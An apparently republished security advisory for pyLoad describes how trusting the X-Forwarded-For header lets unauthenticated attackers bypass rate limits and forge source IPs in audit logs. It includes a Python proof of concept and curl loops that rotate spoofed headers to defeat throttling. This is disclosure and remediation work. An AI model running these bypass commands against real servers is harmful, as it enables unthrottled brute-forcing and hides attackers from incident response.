# GHSA-9q47-3cm2-2rp8: pyLoad: Rate-Limit Bypass and Audit-Log Spoofing via Trusted Client-Controlled `X-Forwarded-For` Header

> Attackers can bypass rate limits and spoof IP addresses in security logs by manipulating the X-Forwarded-For header in pyLoad's web interface.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Not needed
- **Attackable:** Over the internet
- **Victim action needed:** Not needed
- **Fix available:** No
- **Published:** 9 Oct 2026

## What is GHSA-9q47-3cm2-2rp8?

GHSA-9q47-3cm2-2rp8 is a vulnerability in pyload-ng, published on 9 Oct 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.

### Official description

## Summary

pyLoad determines the "client IP" used for its rate-limiting decorator and for its
security/audit logging by reading the client-supplied `X-Forwarded-For` (XFF) HTTP header and
taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces
clients directly, and there is no `ProxyFix` middleware). Because any client can freely set this
header, an attacker can (1) completely bypass rate limiting by rotating the header on each request,
and (2) forge the source IP recorded in security logs for login and API-key authentication
failures, defeating IP-based blocking (e.g. fail2ban) and poisoning attribution.

## Severity

Medium — CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L` (~5.3)

- CWE-807: Reliance on Untrusted Inputs in a Security Decision
- CWE-290: Authentication Bypass by Spoofing
- CWE-348: Use of Less Trusted Source

## Affected Version

pyLoad 0.5.0b3 (built from the `develop` branch). Confirmed still present and exploitable in the
later `pyload-develop-2` snapshot (the affected files are byte-identical between the two; the
`develop-2` changes only touched the unrelated API-key cache).

## Affected Component

Web UI request handling — client-IP derivation used by rate limiting and security logging.

- `src/pyload/webui/app/helpers.py:446` — inside the `rate_limit()` decorator; derives the per-IP
  bucket key.
- `src/pyload/webui/app/helpers.py:357` — API-key authentication success/failure logging.
- `src/pyload/webui/app/blueprints/app_blueprint.py:81` — web login success/failure logging.
- `src/pyload/webui/webserver_thread.py` — Cheroot serves the Flask app directly; no reverse-proxy
  trust boundary or `ProxyFix`.
- Consumer: `src/pyload/webui/app/blueprints/api_blueprint.py:25` applies
  `@rate_limit(count=100, period=60)` to the `/api/<func>` RPC endpoint.

## Description:

All three locations derive the client IP with the identical expression:

```python
client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() or flask.request.remote_addr
```

`X-Forwarded-For` is an HTTP request header fully controlled by the client. The code takes
`split(",")[0]` — the leftmost token — which is always the value supplied by the *original client*
(a proxy appends its own value to the right). Only when the header is entirely absent does the code
fall back to `request.remote_addr` (the real TCP peer). There is no configured trusted-proxy count,
and pyLoad's server (Cheroot) terminates client connections directly, so `remote_addr` is the true
peer and the XFF value is untrusted attacker input.

Two security decisions are made on this untrusted value:

1. Rate limiting (`rate_limit()`): the decorator keeps `request_history[client_ip]` and enforces
   `count` requests per `period` per `client_ip`. Since `client_ip` is attacker-controlled, sending
   a distinct value each request creates a distinct bucket, so the counter never accumulates and
   the limit never triggers.
2. Audit logging: login-failure and API-auth-failure log lines embed `[CLIENT: {client_ip}]` using
   the same spoofable value, so the recorded source address is chosen by the attacker.

Notably, the codebase is internally inconsistent: `is_loopback_request()` (helpers.py:288) treats
the *presence* of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as a reason to *distrust* an
apparent loopback source, while the rate-limit and logging paths naively trust the same header —
indicating the trust here is unintended.

## Proof of Concept

The `rate_limit()` decorator's actual source (bytes read from
`pyload-develop-2/src/pyload/webui/app/helpers.py`, lines 416–514) was executed under a real Flask
test client. Rate limit set to 5/60s for brevity (identical logic to the production 100/min):

```python
import ast, math, time
from functools import wraps
import flask

HELPERS = ".../pyload-develop-2/src/pyload/webui/app/helpers.py"
src = open(HELPERS).read()
node = next(n for n in ast.parse(src).body
            if isinstance(n, ast.FunctionDef) and n.name == "rate_limit")
ns = {"flask": flask, "time": time, "math": math, "wraps": wraps}
exec(compile(ast.get_source_segment(src, node), HELPERS, "exec"), ns)
rate_limit = ns["rate_limit"]

def build_app():
    app = flask.Flask(__name__)
    @app.route("/api/ping")
    @rate_limit(count=5, period=60)
    def ping():
        return flask.json.jsonify({"ok": True})
    return app

def run(hdr):
    app = build_app()
    with app.test_client() as c:
        return [c.get("/api/ping", headers=hdr(i)).status_code for i in range(8)]

print("FIXED   XFF:", run(lambda i: {"X-Forwarded-For": "203.0.113.9"}))
print("ROTATE  XFF:", run(lambda i: {"X-Forwarded-For": f"10.0.0.{i}"}))
```

Output:

```
FIXED   XFF: [200, 200, 200, 200, 200, 429, 429, 429]     # limit enforced
ROTATE  XFF: [200, 200, 200, 200, 200, 200, 200, 200]     # 0x 429 -> limit bypassed
# server log during FIXED run:
#   WARNING in helpers: Rate limit exceeded for IP 203.0.113.9: 5 requests in 60 (limit: 5/60)
```

Derivation check (XFF present, real peer is loopback):

```python
# request with header X-Forwarded-For: 8.8.8.8 and REMOTE_ADDR 127.0.0.1
client_ip = request.headers.get("X-Forwarded-For","").split(",")[0].strip() or request.remote_addr
# -> client_ip == "8.8.8.8"   (the spoofed value wins over the real remote_addr)
```

Equivalent against a live instance:

```bash
# Rate limit never trips regardless of volume:
for i in $(seq 1 500); do
  curl -s -o /dev/null -H "X-API-Key: pl_1<valid-key>" \
       -H "X-Forwarded-For: 10.0.0.$((RANDOM%255))" \
       http://127.0.0.1:8000/api/get_server_version
done   # no HTTP 429 is ever returned

# Forged source IP in the audit log:
curl -s -o /dev/null -H "X-Forwarded-For: 8.8.8.8" \
     --data 'username=admin&password=wrong' http://127.0.0.1:8000/login
# server log: Login failed for user 'admin' using Web Client [CLIENT: 8.8.8.8]
```

## Steps To Reproduce

1. Start a pyLoad instance directly exposed (no reverse proxy), as in a default deployment.
2. Obtain any valid API key (or use the login endpoint) so requests reach the rate-limited /
   logged code paths.
3. Send more than the configured limit of requests to a `@rate_limit`-protected endpoint (e.g.
   `/api/get_server_version`) while setting a **different** `X-Forwarded-For` value on each request.
   Observe that no `429 Too Many Requests` is ever returned.
4. Control: repeat step 3 with a **fixed** `X-Forwarded-For` value; observe `429` after the limit,
   proving the bucket is keyed on the header value.
5. Send a failed login (or failed API-key request) with `X-Forwarded-For: 8.8.8.8` and inspect the
   server log; the failure is attributed to `8.8.8.8` rather than the real client address.

## Impact

- Rate limiting on the authenticated API (`/api/<func>`, 100/min) and any other
  `@rate_limit`-protected endpoint provides no protection against a single attacker, who can issue
  unlimited requests — enabling resource abuse and unthrottled brute-forcing of anything reachable
  through those endpoints.
- Security/audit logs cannot be trusted for source attribution. An attacker can stamp every
  malicious request with an arbitrary or innocent third-party IP, evading IP-based blocklists /
  fail2ban and misdirecting incident response.
- Amplifies other authentication weaknesses (e.g. the absence of throttling on `/login`), since
  even the throttling that does exist elsewhere is defeated and the attacker's IP is unlogged.

## Root Causes

1. A client-controlled HTTP header (`X-Forwarded-For`) is used directly in security decisions
   (rate-limit bucketing and audit attribution) without any trusted-proxy validation (CWE-807).
2. The leftmost XFF token is selected, which is always the value supplied by the original client;
   this is spoofable both in direct-exposure and behind-a-proxy deployments (CWE-348).
3. No `ProxyFix` / trusted-proxy-hop configuration exists, and the server terminates client
   connections di

## Which versions are affected by GHSA-9q47-3cm2-2rp8?

2 open source packages ship an affected version, including pyload-ng.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `pyload-ng` | PyPI | All versions | None |
| `pyload-ng` | PyPI | All versions | None |

## How do I fix GHSA-9q47-3cm2-2rp8?

No fix has been published for GHSA-9q47-3cm2-2rp8 yet. Limit exposure of the affected software until one is available.

## Is GHSA-9q47-3cm2-2rp8 being exploited?

There is no known exploitation of GHSA-9q47-3cm2-2rp8 in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-9q47-3cm2-2rp8 and fix it if it is affected.

What it is: GHSA-9q47-3cm2-2rp8 is a vulnerability in pyload-ng, published on 9 Oct 2026. An attacker can exploit it over the internet without logging in, with no action from the victim.
Exploitation: There is no known exploitation of GHSA-9q47-3cm2-2rp8 in the wild and no public exploit code.

Affected packages and fixed versions:
- pyload-ng (PyPI): affected all versions; no fix listed
- pyload-ng (PyPI): affected all versions; no fix listed

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/ (Markdown: https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-9q47-3cm2-2rp8

---
From sbomify Insights: https://insights.sbomify.com/GHSA-9q47-3cm2-2rp8/
Summaries are generated and may contain mistakes; the official description above is the record.